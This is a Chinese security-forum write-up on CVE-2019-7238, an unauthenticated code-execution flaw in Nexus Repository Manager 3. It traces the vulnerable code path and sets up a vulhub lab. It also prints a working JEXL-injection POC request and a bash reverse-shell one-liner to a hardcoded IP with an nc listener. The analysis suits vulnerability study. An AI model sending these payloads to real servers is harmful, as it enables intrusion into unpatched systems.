跳转到帖子

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现

HACK1949
HACK1949
在 WEB和服务器安全漏洞

精选回复

发布于

0x00 漏洞背景

Nexus Repository Manager 3是一款软件仓库，可以用来存储和分发Maven，NuGET等软件源仓库。其3.14.0及之前版本中，存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能，而这处功能存在未授权访问漏洞，将可以导致任意命令执行漏洞。2019年2月5日Sonatype发布安全公告，在Nexus Repository Manager 3中由于存在访问控制措施的不足，未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码，从而达到远程代码执行的目的。

 

0x01 影响范围

Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

 

0x02  漏洞概述

从官方的漏洞简述来看简单的来说就是由于未授权访问的用户可以构造请求而造成任意代码执行。而且因为3.15.0+以上的版本增加了用户认证，所以3.15.0+的版本不受此漏洞的影响。所以根据diff的结果，可以大致的确定漏洞在org.sonatype.nexus.coreui.ComponentComponent#previewAssets：

-w1338

1049983-20190320131828850-353175296.png

0x03  整体触发流程

ExtDirectModule$configure:60 # 路由绑定与请求解析
ExtDirectServlet$doPost:155 # 处理post请求
DirectJNgineServlet$doPost:595 # 根据不同的Content-Type来解析请求
 DirectJNgineServlet$processRequest:632 # 解析json请求
JsonRequestProcesor$process:119 # 解析json语法树
JsonRequestProcessor$getIndividualJsonRequests:216 # 提取json数据
JsonRequestProcesor$process:133 # 构造返回结构
ComponentComponent$previewAssets:188 # 解析post包中的data数据并构造查询语句查询包
ComponentComponent$previewAssets:208 # 获得查询结果
BrowseServiceImpl$previewAssets:252 # 构建OrientDb查询语句
BrowseServiceImpl$previewAssets:258 # 拼接查询语句
BrowseServiceImpl$previewAssets:262 # 执行查询
MetadataNodeEntityAdapter$countByQuery:221 # 执行OrientDb查询语句
ContextExpressionFunction$execute:125 # 提取jexl表达式
ContextExpressionFunction$checkJexlExpression:154 # 执行jexl表达式

0x03 漏洞分析

漏洞的触发主要分两部分：post包解析及jexl表达式执行。

1. post包解析

首先先看一下web.xml中如何做的路由解析：

1049983-20190320131829549-1671060311.png

org.sonatype.nexus.bootstrap.osgi.DelegatingFilter拦截了所有的请求，大概率为动态路由加载，动态路由加载需要配置相应的Module模块用代码将配置与路由进行绑定并显式加载servlet，而该漏洞的入口就在org.sonatype.nexus.extdirect.internal.ExtDirectModule#configure中:

1049983-20190320131830549-1522505789.png

直接跟进org.sonatype.nexus.extdirect.internal.ExtDirectServlet$doPost:

1049983-20190320131831627-428379823.png

继续向下更进看到处理post请求的部分：

1049983-20190320131832941-1967370685.png

在这里我们跟进看一下如何对json格式的请求进行处理：

1049983-20190320131834353-984762077.png

1049983-20190320131835628-1961946657.png

首先对json的语法树进行解析，将数据提取出来：

1049983-20190320131836589-1683202546.png

可以看到需要5个变量分别为action、method、tid、type、data。

注意到isBatched是由参数长度决定的，而返回的一个数组，其长度为1，所以isBatched为false。之后就是传入processIndividualRequestsInThisThread方法中：

1049983-20190320131837763-1702712038.png

在这里构造返回的结果，可以看到这里在有一个json反序列化的过程，这里主要是将返回结果以json格式返回。

2. jexl表达式执行

从post包的解析中可以得知我们需要构造5个参数，同时当我们构造好action和method后，可以直接动态调用相应的类与方法。

这个漏洞出现在org.sonatype.nexus.coreui.ComponentComponent#previewAssets:

1049983-20190320131839061-1639210732.png

首先将post包中repositoryName、expression、type的值取出来，这三个参数分别代表已经存在的repository的名字、expression的类型，以及表达式。

着重看一下jexl的处理过程：

1049983-20190320131840214-281055354.png

1049983-20190320131841113-940921995.png

注意到这里只是实例化了一个JexlSelector对象，而并没有调用evaluate来执行表达式，所以漏洞的触发点在其他的位置。而真正的表达式执行点在browseService.previewAssets的处理过程中，这一点也是这个漏洞最为难找的一个点。

跟进previewAssets的实现，在org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets：

1049983-20190320131842381-1321990233.png

在这里可以看到表达式最后会被当做参数形成SQL查询，最后由OrientDb执行：

1049983-20190320131844097-1019687867.png

但是OrientDb本身是没有contentExpression这个方法的，也就是说明这个方法是用Java来实现的，找了一下，在org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction：

1049983-20190320131845980-1324691809.png

在checkJexlExpression中：

1049983-20190320131847292-42001856.png

调用了selectorManage.evaluate来执行jexl表达式：

1049983-20190320131848212-2030559967.png

0x04 构造POC

通过上面的分析，我们只需要按照post包解析中的参数进行相应的构造即可，下面为一个例子：

windows环境搭建：

https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3

https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz

安装参考：

https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager

在windows上安装成功了。需要执行(默认密码：admin/admin123)

nexus.exe /run    

其POC如下：                             

POST /service/extdirect HTTP/1.1

Host:155.138.147.1:8081

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Content-Type: application/json

Content-Length: 308

Connection: close

 

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}

1049983-20190320131849303-1832385538.png

注意，这个漏洞需要当Nexus中存在已有的jar包，在本地验证的时候先传一个jar报上去。至于原理分析可能后面会单独再拿出来分析。

0x05  环境搭建

1.在Ubuntu 16.04上安装docker和docker-compose：

(1).安装PIP
curl -s https://bootstrap.pypa.io/get-pip.py | python3
(2).安装docker
curl -s https://get.docker.com/ | sh

(3).启动docker服务

service docker start
(4).安装docker compose
pip install docker-compose

1049983-20190320131850060-1113842632.png
2.使用方法
(1).下载漏洞环境项目
git clone https://github.com/vulhub/vulhub.git
(2).进入到nexus利用环境
cd vulhub/nexus/CVE-2019-7238
(3).编译环境
docker-compose build
(4).执行如下命令启动Nexus Repository Manager 3.14.0
docker-compose build
1049983-20190320131850648-2147380667.png

等待一段时间环境才能成功启动，访问http://your-ip:8081即可看到的Web页面。

1049983-20190320131851326-2091703304.png
 

账号使用密码admin:admin123登录后台，然后在Maven的版本下随便上传一个JAR包：

1049983-20190320131851987-1962591019.png
 
1049983-20190320131852518-1126634849.png
 

触发该漏洞，必须保证仓库里至少有一个包存在。

0x06 漏洞复现


1.下载漏洞利用poc项目

git clone   https://github.com/backlion/CVE-2019-7238.git

2.进入到CVE-2019-7238目录

cd   CVE-2019-7238

3.修改cve-2019-7238.py.这里根据实际情况来修改remote = ' http://127.0.0.1：8081 '和  ARCH = “ LINUX ”的值

vi     CVE-2019-7238.py

1049983-20190320131853052-258545973.png

4.在攻击者系统中执行cve-2019-7238.py脚本，然后输入反弹NC的bash
bash  -i  >&  /dev/tcp/149.248.17.172/2333    0>&1               #这里的IP是攻击者系统的IP地址
1049983-20190320131853632-1726495562.png
5.在攻击者系统中执行NC监听反弹
nc  -lvvp  2333
1049983-20190320131854067-1408394865.png
 
 

0x07  修复建议

目前官方已经发布新版本修改了该漏洞，建议您参照上述【安全版本】升级到对应的最新版本。

最新版本下载链接：

https://help.sonatype.com/repomanager3/download

 

0x08  参考链接

https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019

https://www.lucifaer.com/2019/02/19/Nexus%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-7238%EF%BC%89/

https://cert.360.cn/report/detail?id=3ec687ec01cccd0854e2706590ddc215

https://blog.csdn.net/caiqiiqi/article/details/87204472

https://blog.51cto.com/13770310/2351479

https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238

 

 

 


创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。